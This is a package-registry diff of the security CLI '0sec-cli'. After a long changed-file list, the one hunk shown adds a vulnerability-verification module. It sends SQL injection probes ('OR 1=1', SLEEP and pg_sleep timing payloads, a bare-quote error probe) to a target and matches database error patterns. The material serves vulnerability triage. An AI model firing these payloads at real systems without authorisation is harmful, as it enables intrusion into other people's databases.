0sec-cli 0.22.4 → 0.24.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/0.js +73 -68
  2. package/README.md +95 -61
  3. package/chunks/{adapt-loop-3CCOWE43.js → adapt-loop-TEJPXWFG.js} +4 -4
  4. package/chunks/{artifact-scraper-Z4UUIOH3.js → artifact-scraper-AJZ3LOQY.js} +2 -2
  5. package/chunks/{assumption-mining-2UAKQB6V.js → assumption-mining-EATDC4BB.js} +18 -18
  6. package/chunks/backend-connections-QE4NASAK.js +23 -0
  7. package/chunks/chunk-3XLEDCFX.js +566 -0
  8. package/chunks/{chunk-BGX53365.js → chunk-3XLFB46W.js} +5 -3
  9. package/chunks/{chunk-IXAHQICR.js → chunk-4TUR47H5.js} +8 -3
  10. package/chunks/{chunk-5WAJGLCW.js → chunk-4YRXIVPZ.js} +3 -3
  11. package/chunks/{chunk-4ZYYX5GY.js → chunk-52AWIBCT.js} +1 -1
  12. package/chunks/{chunk-TO35Y326.js → chunk-554D4AYM.js} +5 -2
  13. package/chunks/{chunk-GQ3DGHWE.js → chunk-5FHFG5P2.js} +174 -710
  14. package/chunks/chunk-5POT5OYF.js +733 -0
  15. package/chunks/chunk-62PGWN7Y.js +700 -0
  16. package/chunks/{chunk-H6Q2QAIY.js → chunk-A3EKBUEM.js} +1424 -859
  17. package/chunks/{chunk-6WQDXWQC.js → chunk-A6AZZ6XX.js} +2 -2
  18. package/chunks/{chunk-6YZE552K.js → chunk-AV5BF4V7.js} +1281 -2580
  19. package/chunks/{chunk-2WWAPKAW.js → chunk-BIJPMYFA.js} +6 -6
  20. package/chunks/{chunk-SCWWLABR.js → chunk-CIMN2AO6.js} +1 -1
  21. package/chunks/{chunk-H4DH7COV.js → chunk-CSPF47S3.js} +30 -20
  22. package/chunks/{chunk-RCRTSKQN.js → chunk-DNV3ZMPX.js} +1 -1
  23. package/chunks/{chunk-GVY3S5E5.js → chunk-E42XEJTK.js} +2 -2
  24. package/chunks/{chunk-VDOWARMJ.js → chunk-ESM447R6.js} +15 -1
  25. package/chunks/{chunk-WBRGXCU2.js → chunk-EXTN4SQV.js} +1 -1
  26. package/chunks/{chunk-QVIRWJ45.js → chunk-EYBMTELO.js} +108 -24
  27. package/chunks/chunk-FEOPHBMY.js +56 -0
  28. package/chunks/{chunk-IHPTOTLL.js → chunk-FKGFHLLS.js} +1 -1
  29. package/chunks/chunk-G2EJ3R5I.js +5198 -0
  30. package/chunks/chunk-GHEBZKUS.js +5417 -0
  31. package/chunks/chunk-GNR3APR6.js +295 -0
  32. package/chunks/{chunk-ELI3BVIK.js → chunk-H76JYUPE.js} +3 -3
  33. package/chunks/{chunk-E74LXQFY.js → chunk-HRBOZBMC.js} +1 -1
  34. package/chunks/{chunk-TM74SSHC.js → chunk-IIBNQTOK.js} +3 -2
  35. package/chunks/{chunk-UELXHK2Y.js → chunk-IK27KMVV.js} +16 -5
  36. package/chunks/{chunk-WHUAUFSX.js → chunk-J6G73WYF.js} +1 -1
  37. package/chunks/chunk-JSTLXPJS.js +284 -0
  38. package/chunks/{chunk-G2BE2FC7.js → chunk-O3ADFN2A.js} +1 -1
  39. package/chunks/chunk-O7Q2G2KW.js +117 -0
  40. package/chunks/{chunk-XODDLNBI.js → chunk-QEA2VHBD.js} +284 -33
  41. package/chunks/{chunk-C6JPA32H.js → chunk-RBOMXUYL.js} +3 -111
  42. package/chunks/{chunk-L2CCO4KE.js → chunk-RCHAFSWS.js} +838 -39
  43. package/chunks/{chunk-3BPX75OR.js → chunk-RD4FKFWR.js} +1 -1
  44. package/chunks/{chunk-DPUXXMJW.js → chunk-RPTO5FY2.js} +1 -1
  45. package/chunks/{chunk-6KFB6AYN.js → chunk-RZR2XXAK.js} +531 -17
  46. package/chunks/chunk-SGILXLR3.js +289 -0
  47. package/chunks/{chunk-E3OOBVOK.js → chunk-TOAAYJVN.js} +2 -2
  48. package/chunks/chunk-TOFIGQ63.js +83 -0
  49. package/chunks/{chunk-QWK4R3DB.js → chunk-TTDFBFNZ.js} +6 -6
  50. package/chunks/chunk-TZRHWP7R.js +736 -0
  51. package/chunks/chunk-UHUW45S3.js +164 -0
  52. package/chunks/{chunk-5JNTMWPK.js → chunk-V4BD7GSP.js} +2 -2
  53. package/chunks/{chunk-OAS5SAVZ.js → chunk-V5I5GAQH.js} +3226 -1683
  54. package/chunks/{chunk-PS5E7LUQ.js → chunk-W6IYTSZH.js} +79 -9
  55. package/chunks/{chunk-RTBZ36BD.js → chunk-WUPN3D37.js} +22 -248
  56. package/chunks/{chunk-CF3MNS3O.js → chunk-Y7KV7WV6.js} +2 -2
  57. package/chunks/{chunk-2OQOQ2FZ.js → chunk-YERUDEXT.js} +763 -688
  58. package/chunks/{chunk-CPCHLL6A.js → chunk-YJU7QACE.js} +1 -1
  59. package/chunks/{chunk-YED25PA4.js → chunk-YORL5S5V.js} +1 -1
  60. package/chunks/{chunk-YAZARMJY.js → chunk-YYOQADBB.js} +4 -3
  61. package/chunks/chunk-ZPFBQ3SD.js +127 -0
  62. package/chunks/{codex-models-Z43V3427.js → codex-models-FQPCWRPC.js} +7 -7
  63. package/chunks/{commands-EUGF4FUZ.js → commands-I5L3VD2A.js} +6187 -12196
  64. package/chunks/dashboard-B2AEGCFM.js +76 -0
  65. package/chunks/{db-NVAW4WWR.js → db-P5EIKMLP.js} +3 -3
  66. package/chunks/deep-review-I7RD5QSS.js +82 -0
  67. package/chunks/{disclose-LDNKAVRH.js → disclose-PFBWESVJ.js} +4 -2
  68. package/chunks/{dist-7RUOKPRJ.js → dist-3SWWY5FZ.js} +18 -2
  69. package/chunks/{dist-27BNG6WD.js → dist-AJU25UXA.js} +112 -63
  70. package/chunks/{dist-NG2HT5XU.js → dist-VK2M4HNW.js} +85 -1
  71. package/chunks/eval-runner-XVRX3R2Y.js +31 -0
  72. package/chunks/{exploit-agent-FCCR2HYX.js → exploit-agent-A4RTIJ4J.js} +1 -1
  73. package/chunks/{exploit-autoclimb-X5ZS5FAO.js → exploit-autoclimb-ABMMBC3M.js} +1 -1
  74. package/chunks/{exploit-climb-3JHGEO36.js → exploit-climb-BQ2SVU63.js} +2 -2
  75. package/chunks/{fix-NSNPU33B.js → fix-4YCLHFDT.js} +7 -7
  76. package/chunks/{harness-KXQOVIDQ.js → harness-DHWULEIZ.js} +3 -3
  77. package/chunks/{hunt-scan-ELTKGKC4.js → hunt-scan-DXV5H6YN.js} +16 -16
  78. package/chunks/{kernel-primitive-MT7YZSIG.js → kernel-primitive-SF4NALVR.js} +2 -2
  79. package/chunks/{kernel-vm-runner-YFRHYC6G.js → kernel-vm-runner-WEBEZEIC.js} +2 -2
  80. package/chunks/local-engine-XUG7XRKM.js +21 -0
  81. package/chunks/managed-operation-SQFMBWHG.js +60 -0
  82. package/chunks/{memsafety-scan-FCPAXIZE.js → memsafety-scan-L2Z7E7TE.js} +2 -2
  83. package/chunks/{native-loop-OFJDRHPI.js → native-loop-ZNAELJGB.js} +14 -13
  84. package/chunks/orchestrate-YHFJXGID.js +63 -0
  85. package/chunks/{prepare-72GWTRVI.js → prepare-SODWQN6O.js} +5 -5
  86. package/chunks/provider-model-discovery-QGUGL3XW.js +277 -0
  87. package/chunks/remote-workflow-runtime-XNNGI2PG.js +12 -0
  88. package/chunks/{run-WTJCZZHV.js → run-5T4Z3Q2D.js} +924 -327
  89. package/chunks/{runtime-LCJ4XSKE.js → runtime-HFFRUOPL.js} +4 -2
  90. package/chunks/{runtime-FCKOUB7V.js → runtime-MB4GEFBY.js} +7 -7
  91. package/chunks/{scan-stream-GT6GKQ3U.js → scan-stream-GXBJHCDF.js} +3 -2
  92. package/chunks/{scope-E5QZUOOH.js → scope-M7L3CD6X.js} +2 -2
  93. package/chunks/service-plugins-BGS6QKSZ.js +64 -0
  94. package/chunks/{session-store-H3Q7KCYG.js → session-store-K7I4GLNH.js} +2 -2
  95. package/chunks/{variant-candidates-SZKDCOLK.js → variant-candidates-2KSP5EHH.js} +7 -7
  96. package/chunks/{web-recon-prepass-IO3GXQMW.js → web-recon-prepass-RAXXTEWH.js} +5 -5
  97. package/chunks/workflow-runtime-V26HIJO3.js +178 -0
  98. package/dashboard/assets/abnfDiagram-VCTEODGH-CGCueOp5.js +1 -0
  99. package/dashboard/assets/arc-BjZaQcCc.js +1 -0
  100. package/dashboard/assets/architecture-7GRP2DOG-hcbO-9zX.js +1 -0
  101. package/dashboard/assets/architectureDiagram-5GKGNRK7-DReOXTSq.js +36 -0
  102. package/dashboard/assets/array-BifhSqXX.js +1 -0
  103. package/dashboard/assets/blockDiagram-I7D4REHJ-C-byT12_.js +129 -0
  104. package/dashboard/assets/c4Diagram-7LVT6UL2-DoYjz-Uv.js +38 -0
  105. package/dashboard/assets/channel-CUURBnpZ.js +1 -0
  106. package/dashboard/assets/chunk-2Q5K7J3B-C1jixKkw.js +1 -0
  107. package/dashboard/assets/chunk-4HAMMTFA-NBNp2zdt.js +62 -0
  108. package/dashboard/assets/chunk-5VM5RSS4-ZNzvKenW.js +15 -0
  109. package/dashboard/assets/chunk-75Z2AOVW-BHmkuP0B.js +2 -0
  110. package/dashboard/assets/chunk-DU6HZSFF-DgfLNaL2.js +127 -0
  111. package/dashboard/assets/chunk-F27PBJKO-3wwNFUgZ.js +1 -0
  112. package/dashboard/assets/chunk-FOHPRMQF-DHwB1DNv.js +161 -0
  113. package/dashboard/assets/chunk-GMAD6QVW-Btg7huZW.js +72 -0
  114. package/dashboard/assets/chunk-GVQU2GXP-ihCURK5O.js +1 -0
  115. package/dashboard/assets/chunk-IMKFNOWR-FsXj7slg.js +231 -0
  116. package/dashboard/assets/chunk-JWPE2WC7-DVXcaiue.js +1 -0
  117. package/dashboard/assets/chunk-L3NEJ4N5-DorFIxJY.js +1 -0
  118. package/dashboard/assets/chunk-OSK3NFVY-DKun_KfC.js +10 -0
  119. package/dashboard/assets/chunk-P2QGCYS3-XGgiU1Bz.js +1 -0
  120. package/dashboard/assets/chunk-POPQ4Y6H-BTXEnGhJ.js +1 -0
  121. package/dashboard/assets/chunk-PWAF6VOD-DYZcGkTL.js +1 -0
  122. package/dashboard/assets/chunk-SHT3W25Y-C4WQfwf8.js +168 -0
  123. package/dashboard/assets/chunk-SVP7TREG-C4nCh0-1.js +88 -0
  124. package/dashboard/assets/chunk-TICWLB2K-DSB-IiGc.js +206 -0
  125. package/dashboard/assets/chunk-XXDRQBXY-CS6fjUcj.js +1 -0
  126. package/dashboard/assets/chunk-Y2CYZVJY-DsF7k-Jl.js +1 -0
  127. package/dashboard/assets/classDiagram-ZZMXUADV-CD1Buc26.js +1 -0
  128. package/dashboard/assets/classDiagram-v2-VYDZK3BY-CD1Buc26.js +1 -0
  129. package/dashboard/assets/common-BMdQBwfR.js +5 -0
  130. package/dashboard/assets/cose-bilkent-JH36ORCC-CUjQHTML.js +1 -0
  131. package/dashboard/assets/cynefin-OW5HDTMX-BC7zCtFq.js +1 -0
  132. package/dashboard/assets/cynefinDiagram-5FMLGOSQ-CgDOOY67.js +62 -0
  133. package/dashboard/assets/cytoscape.esm-CGd-uY3x.js +321 -0
  134. package/dashboard/assets/dagre-GXQ25YYZ-Dqc8FS9x.js +4 -0
  135. package/dashboard/assets/dagre-PrKaheQc.js +1 -0
  136. package/dashboard/assets/defaultLocale-BFoDCU3G.js +1 -0
  137. package/dashboard/assets/diagram-S7CK7UJ4-CrKqRXZb.js +30 -0
  138. package/dashboard/assets/diagram-UQ7AKVKN-Cu6Es0-v.js +41 -0
  139. package/dashboard/assets/diagram-VSXAHHWV-eK4d8FwS.js +3 -0
  140. package/dashboard/assets/diagram-VX7I27RA-bFxeFKOc.js +24 -0
  141. package/dashboard/assets/diagram-Z3DM3KII-C0ClmnhC.js +24 -0
  142. package/dashboard/assets/dist-BZh8Kb3O.js +1 -0
  143. package/dashboard/assets/ebnfDiagram-PWID7BFC-CUqxFPzf.js +1 -0
  144. package/dashboard/assets/erDiagram-RLTQ6QDP-CcYM7pLi.js +99 -0
  145. package/dashboard/assets/eventmodeling-NTZA5JFV-D8ZNnPkV.js +1 -0
  146. package/dashboard/assets/flowDiagram-HODETNUW-pDb1AYm8.js +1 -0
  147. package/dashboard/assets/ganttDiagram-EL5Y4UJY-UmZfbMyD.js +292 -0
  148. package/dashboard/assets/gitGraph-4MIJSDKK-mvNUo0ZA.js +1 -0
  149. package/dashboard/assets/gitGraphDiagram-WWUBYQGX-CvzeCxVy.js +106 -0
  150. package/dashboard/assets/graphlib-DS17s2tU.js +1 -0
  151. package/dashboard/assets/info-A6RAGUB7-DChKqZMi.js +1 -0
  152. package/dashboard/assets/infoDiagram-27XIBGKW-DjkpNtVW.js +2 -0
  153. package/dashboard/assets/init-C-OQMol4.js +1 -0
  154. package/dashboard/assets/ishikawaDiagram-5VMMS53U-8FhjJaWT.js +70 -0
  155. package/dashboard/assets/journeyDiagram-3NMN7TZE-DyNJ755f.js +139 -0
  156. package/dashboard/assets/kanban-definition-UXKFOSKX-_jCmtaY1.js +89 -0
  157. package/dashboard/assets/katex-BdBmVSus.js +257 -0
  158. package/dashboard/assets/line-Bf0nxyWf.js +1 -0
  159. package/dashboard/assets/linear-Bl6JKbf4.js +1 -0
  160. package/dashboard/assets/mermaid-parser.core-Cc6sgCzs.js +7 -0
  161. package/dashboard/assets/mermaid.core-B4yCwiN-.js +44 -0
  162. package/dashboard/assets/mindmap-definition-YA3MSWOX-D5DjWyXj.js +96 -0
  163. package/dashboard/assets/operations-B7JAWOi6.js +130 -0
  164. package/dashboard/assets/operations-QjKT0Hwi.css +1 -0
  165. package/dashboard/assets/ordinal-BDEzSJ7C.js +1 -0
  166. package/dashboard/assets/packet-AYTQ26CC-bQXLDhQC.js +1 -0
  167. package/dashboard/assets/path-fybaL0A-.js +1 -0
  168. package/dashboard/assets/pegDiagram-XKGWAZYB-Bf6a1vaf.js +1 -0
  169. package/dashboard/assets/pie-WAS4IAKB-DfzoABIi.js +1 -0
  170. package/dashboard/assets/pieDiagram-E7YTZNPT-D0L1qbch.js +39 -0
  171. package/dashboard/assets/quadrantDiagram-AXDQQJYC-CbFyy2Pe.js +7 -0
  172. package/dashboard/assets/radar-RG4KPBEZ-CZ2pyeUT.js +1 -0
  173. package/dashboard/assets/railroad-74A4TZTK-CP4Jazfd.js +1 -0
  174. package/dashboard/assets/railroad-abnf-HS5TGJTU-3MvEiHwD.js +1 -0
  175. package/dashboard/assets/railroad-ebnf-LZEXJU2U-BWto6cXE.js +1 -0
  176. package/dashboard/assets/railroad-peg-WCYAUIDC-DasEjbyf.js +1 -0
  177. package/dashboard/assets/railroadDiagram-O6MQD6OU-t7Gp9g2R.js +1 -0
  178. package/dashboard/assets/requirementDiagram-BXWQKSXE-LYmqeBXi.js +84 -0
  179. package/dashboard/assets/rough.esm-Dy-Kn_BL.js +1 -0
  180. package/dashboard/assets/sankeyDiagram-P5KCCOFB-DnpfA_94.js +40 -0
  181. package/dashboard/assets/sequenceDiagram-WJ2MYXX4-C8s3pTUE.js +162 -0
  182. package/dashboard/assets/sizeCapture-INFHLROL-B0uUizjq.js +1 -0
  183. package/dashboard/assets/src-CaNUT1AQ.js +1 -0
  184. package/dashboard/assets/stateDiagram-D77RDMKH-BMzm6fK1.js +1 -0
  185. package/dashboard/assets/stateDiagram-v2-MP3YSRHH-B3REMjpY.js +1 -0
  186. package/dashboard/assets/swimlanes-42K2YHIH-uJE05Tt_.js +1 -0
  187. package/dashboard/assets/swimlanesDiagram-VR7AAH4N-CIaVMZEy.js +8 -0
  188. package/dashboard/assets/timeline-definition-24CTP7MA-BfLJMVeG.js +120 -0
  189. package/dashboard/assets/treeView-Q6P3EWNA-ZOE2enu2.js +1 -0
  190. package/dashboard/assets/treemap-WGGIJYW6-yIZoPBF5.js +1 -0
  191. package/dashboard/assets/vennDiagram-4TSXK5OY-BYJRHEaL.js +34 -0
  192. package/dashboard/assets/wardley-WFR3VGLG-D5V-jLbB.js +1 -0
  193. package/dashboard/assets/wardleyDiagram-VM6X3IG4-DgPN4nSe.js +78 -0
  194. package/dashboard/assets/xychartDiagram-S5SC5T6Z-BhkAMAOT.js +7 -0
  195. package/dashboard/index.html +3 -3
  196. package/package.json +3 -2
  197. package/worker-assets/demo-target/README.md +15 -0
  198. package/worker-assets/demo-target/include/decoder.h +27 -0
  199. package/worker-assets/demo-target/patched-decoder.c +40 -0
  200. package/worker-assets/demo-target/src/decoder.c +50 -0
  201. package/worker-assets/demo-target/witness-65537x1.bin +0 -0
  202. package/chunks/chunk-FFHRANYC.js +0 -547
  203. package/chunks/eval-runner-6Q3H52SP.js +0 -30
  204. package/chunks/orchestrate-DRZ2SVCP.js +0 -62
  205. package/chunks/service-plugins-MSK2EQP6.js +0 -62
  206. package/dashboard/assets/operations-BvB5Qpmk.css +0 -1
  207. package/dashboard/assets/operations-D8Ii01SV.js +0 -114
  208. package/dashboard/assets/zero-peek-Dzm3MT3X.png +0 -0
@@ -2,145 +2,663 @@
2
2
  import { createRequire as __0CreateRequire } from "node:module";
3
3
  const require = __0CreateRequire(import.meta.url);
4
4
 
5
- // packages/core/dist/review/sanitizer-log.js
6
- var ASAN_CATEGORY_BY_KIND = {
7
- "heap-use-after-free": "use-after-free",
8
- "stack-use-after-return": "use-after-free",
9
- "stack-use-after-scope": "use-after-free",
10
- "double-free": "double-free",
11
- "attempting-double-free": "double-free",
12
- "stack-buffer-overflow": "stack-buffer-overflow",
13
- "heap-buffer-overflow": "heap-overflow",
14
- "global-buffer-overflow": "heap-overflow"
15
- };
16
- function categoryForAsan(kind, primitive) {
17
- if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
18
- return "out-of-bounds-read";
5
+ // packages/core/dist/triage/oracle-runtime.js
6
+ import { randomUUID } from "node:crypto";
7
+ import { createServer } from "node:http";
8
+
9
+ // packages/core/dist/triage/oracles.js
10
+ var DEFAULT_TIMEOUT_MS = 1e4;
11
+ function notVerifiable(reason) {
12
+ return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
13
+ }
14
+ function verified(evidence, confidence = 1) {
15
+ return { verified: true, confidence, evidence, reason: "" };
16
+ }
17
+ function parseRequest(requestText, fallbackTarget) {
18
+ const parsed = {
19
+ method: "GET",
20
+ url: fallbackTarget,
21
+ headers: {},
22
+ body: "",
23
+ params: {}
24
+ };
25
+ const parseFallbackQuery = () => {
26
+ try {
27
+ const u = new URL(parsed.url);
28
+ u.searchParams.forEach((v, k) => {
29
+ parsed.params[k] = v;
30
+ });
31
+ } catch {
32
+ }
33
+ };
34
+ if (!requestText) {
35
+ parseFallbackQuery();
36
+ return parsed;
19
37
  }
20
- if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
21
- return "out-of-bounds-write";
38
+ requestText = requestText.replace(/\r\n/g, "\n");
39
+ const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
40
+ if (curlUrl)
41
+ parsed.url = curlUrl[1].replace(/['"]$/, "");
42
+ const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
43
+ if (curlMethod)
44
+ parsed.method = curlMethod[1].toUpperCase();
45
+ const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
46
+ if (curlData)
47
+ parsed.body = curlData[1];
48
+ const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
49
+ if (startLine) {
50
+ parsed.method = startLine[1].toUpperCase();
51
+ const path = startLine[2];
52
+ const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
53
+ if (/^https?:\/\//i.test(path)) {
54
+ parsed.url = path;
55
+ } else if (hostHeader) {
56
+ const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
57
+ parsed.url = `${scheme}://${hostHeader[1]}${path}`;
58
+ } else if (path.startsWith("/")) {
59
+ try {
60
+ const base = new URL(fallbackTarget);
61
+ parsed.url = `${base.origin}${path}`;
62
+ } catch {
63
+ parsed.url = path;
64
+ }
65
+ } else {
66
+ parsed.url = path;
67
+ }
68
+ const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
69
+ for (const line of headerBlock.split("\n").slice(1)) {
70
+ const colon = line.indexOf(":");
71
+ if (colon > 0) {
72
+ const name = line.slice(0, colon).trim().toLowerCase();
73
+ if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
74
+ parsed.headers[name] = line.slice(colon + 1).trim();
75
+ }
76
+ }
77
+ }
78
+ const sep = requestText.indexOf("\n\n");
79
+ if (sep >= 0)
80
+ parsed.body = requestText.slice(sep + 2);
22
81
  }
23
- return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
82
+ try {
83
+ const u = new URL(parsed.url);
84
+ u.searchParams.forEach((v, k) => {
85
+ parsed.params[k] = v;
86
+ });
87
+ } catch {
88
+ }
89
+ if (parsed.body.trimStart().startsWith("{")) {
90
+ try {
91
+ const json = JSON.parse(parsed.body);
92
+ for (const [key, value] of Object.entries(json)) {
93
+ if (typeof value === "string" || typeof value === "number")
94
+ parsed.params[key] = String(value);
95
+ }
96
+ } catch {
97
+ }
98
+ } else if (parsed.body.includes("=")) {
99
+ new URLSearchParams(parsed.body).forEach((value, key) => {
100
+ parsed.params[key] = value;
101
+ });
102
+ }
103
+ return parsed;
24
104
  }
25
- function categoryForUbsan(message) {
26
- const lower = message.toLowerCase();
27
- if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
28
- return { kind: "signed-integer-overflow", category: "integer-overflow" };
105
+ function buildProbeRequest(parsed, newParams) {
106
+ const method = parsed.method || "GET";
107
+ const init = { method, headers: { ...parsed.headers } };
108
+ const url = new URL(parsed.url);
109
+ let json;
110
+ if (parsed.body.trimStart().startsWith("{")) {
111
+ try {
112
+ json = JSON.parse(parsed.body);
113
+ } catch {
114
+ }
29
115
  }
30
- if (lower.includes("shift exponent") || lower.includes("shift base")) {
31
- return { kind: "shift-exponent", category: "integer-overflow" };
116
+ const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
117
+ for (const [key, value] of Object.entries(newParams)) {
118
+ if (method !== "GET" && json && Object.hasOwn(json, key))
119
+ json[key] = value;
120
+ else if (method !== "GET" && form?.has(key))
121
+ form.set(key, value);
122
+ else
123
+ url.searchParams.set(key, value);
32
124
  }
33
- if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
34
- return { kind: "float-cast-overflow", category: "integer-truncation" };
125
+ if (method !== "GET") {
126
+ init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
127
+ if (json)
128
+ init.headers = { "content-type": "application/json", ...parsed.headers };
129
+ else if (form)
130
+ init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
35
131
  }
36
- if (lower.includes("null pointer") || lower.includes("null-pointer")) {
37
- return { kind: "null-pointer-use", category: "null-deref" };
132
+ return { url: url.toString(), init };
133
+ }
134
+ async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
135
+ const controller = new AbortController();
136
+ const timer = setTimeout(() => controller.abort(), timeoutMs);
137
+ const start = Date.now();
138
+ try {
139
+ const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
140
+ const body = await res.text();
141
+ return { status: res.status, body, latencyMs: Date.now() - start };
142
+ } catch {
143
+ return null;
144
+ } finally {
145
+ clearTimeout(timer);
38
146
  }
39
- return { kind: "undefined-behavior", category: "other" };
40
147
  }
41
- function parsePrimitive(text) {
42
- const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
43
- if (!access)
44
- return { primitive: "unknown" };
45
- return {
46
- primitive: access[1].toLowerCase(),
47
- accessSize: Number(access[2])
48
- };
148
+ var SQL_ERROR_PATTERNS = [
149
+ // MySQL
150
+ /You have an error in your SQL syntax/i,
151
+ /\bmysql_fetch_/i,
152
+ /\bMySQLSyntaxErrorException\b/i,
153
+ /\bMariaDB\b.*?\bsyntax\b/i,
154
+ // PostgreSQL
155
+ /\bPG::SyntaxError\b/i,
156
+ /\bpq:\s+syntax error\b/i,
157
+ /\bpsql:.*?ERROR:/i,
158
+ /unterminated quoted string/i,
159
+ // SQLite
160
+ /\bSQLite3::/i,
161
+ /\bsqlite3\.OperationalError\b/i,
162
+ /near\s+".+?":\s*syntax error/i,
163
+ // MSSQL
164
+ /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
165
+ /\bUnclosed quotation mark\b/i,
166
+ /\bOLE DB.*?SQL Server\b/i,
167
+ // Oracle
168
+ /\bORA-\d{4,5}\b/i,
169
+ /\bquoted string not properly terminated\b/i
170
+ ];
171
+ function detectSqlError(body) {
172
+ for (const re of SQL_ERROR_PATTERNS) {
173
+ const m = body.match(re);
174
+ if (m)
175
+ return m[0];
176
+ }
177
+ return null;
49
178
  }
50
- function parseFrames(text) {
51
- const frames = [];
52
- const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
53
- let match;
54
- while ((match = frameRegex.exec(text)) !== null) {
55
- frames.push({
56
- functionName: match[1],
57
- file: match[2],
58
- line: Number(match[3])
59
- });
179
+ function pickInjectableParam(parsed) {
180
+ for (const [k, v] of Object.entries(parsed.params)) {
181
+ if (v && v.length > 0)
182
+ return { key: k, value: v };
60
183
  }
61
- return frames;
184
+ const first = Object.keys(parsed.params)[0];
185
+ if (first)
186
+ return { key: first, value: parsed.params[first] ?? "" };
187
+ return null;
62
188
  }
63
- function parseAsan(text) {
64
- const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
65
- if (!header?.[1])
66
- return null;
67
- const kind = header[1].toLowerCase();
68
- const { primitive, accessSize } = parsePrimitive(text);
69
- const frames = parseFrames(text);
70
- let sourceFile = frames[0]?.file;
71
- let sourceLine = frames[0]?.line;
72
- const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
73
- if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
74
- sourceFile = summary[1];
75
- sourceLine = Number(summary[2]);
189
+ async function verifySqli(finding, target, context = {}) {
190
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
191
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
192
+ const victim = pickInjectableParam(parsed);
193
+ if (!victim)
194
+ return notVerifiable("no injectable parameter found in finding evidence");
195
+ const signals = [];
196
+ const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
197
+ if (!baseline)
198
+ return notVerifiable("baseline request failed");
199
+ const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
200
+ const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
201
+ if (trueProbe && falseProbe && trueProbe.body.length > 0) {
202
+ const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
203
+ if (delta > 0.1) {
204
+ signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
205
+ }
206
+ }
207
+ const timePayloads = [
208
+ `${victim.value}' AND SLEEP(3)-- -`,
209
+ `${victim.value}'; SELECT pg_sleep(3)-- -`,
210
+ `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
211
+ ];
212
+ for (const payload of timePayloads) {
213
+ const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
214
+ if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
215
+ signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
216
+ break;
217
+ }
218
+ }
219
+ const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
220
+ if (errProbe) {
221
+ const err = detectSqlError(errProbe.body);
222
+ if (err)
223
+ signals.push(`sql_error: ${err}`);
224
+ }
225
+ if (signals.length >= 2) {
226
+ return verified(signals.join(" | "));
76
227
  }
77
- const allocMatch = text.match(/\b(\d+)-byte region\b/i);
78
- const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
79
228
  return {
80
- sanitizer: "asan",
81
- kind,
82
- category: categoryForAsan(kind, primitive),
83
- primitive,
84
- sourceFile,
85
- sourceLine,
86
- allocSize,
87
- accessSize,
88
- summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
89
- frames
229
+ verified: false,
230
+ confidence: signals.length === 1 ? 0.4 : 0,
231
+ evidence: signals.join(" | "),
232
+ reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
90
233
  };
91
234
  }
92
- function parseUbsan(text) {
93
- const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
94
- if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
95
- return null;
96
- const details = runtime[4].trim();
97
- const { kind, category } = categoryForUbsan(details);
98
- return {
99
- sanitizer: "ubsan",
100
- kind,
101
- category,
102
- primitive: "unknown",
103
- sourceFile: runtime[1],
104
- sourceLine: Number(runtime[2]),
105
- summary: details,
106
- frames: []
235
+ async function verifyReflectedXss(finding, target, context = {}) {
236
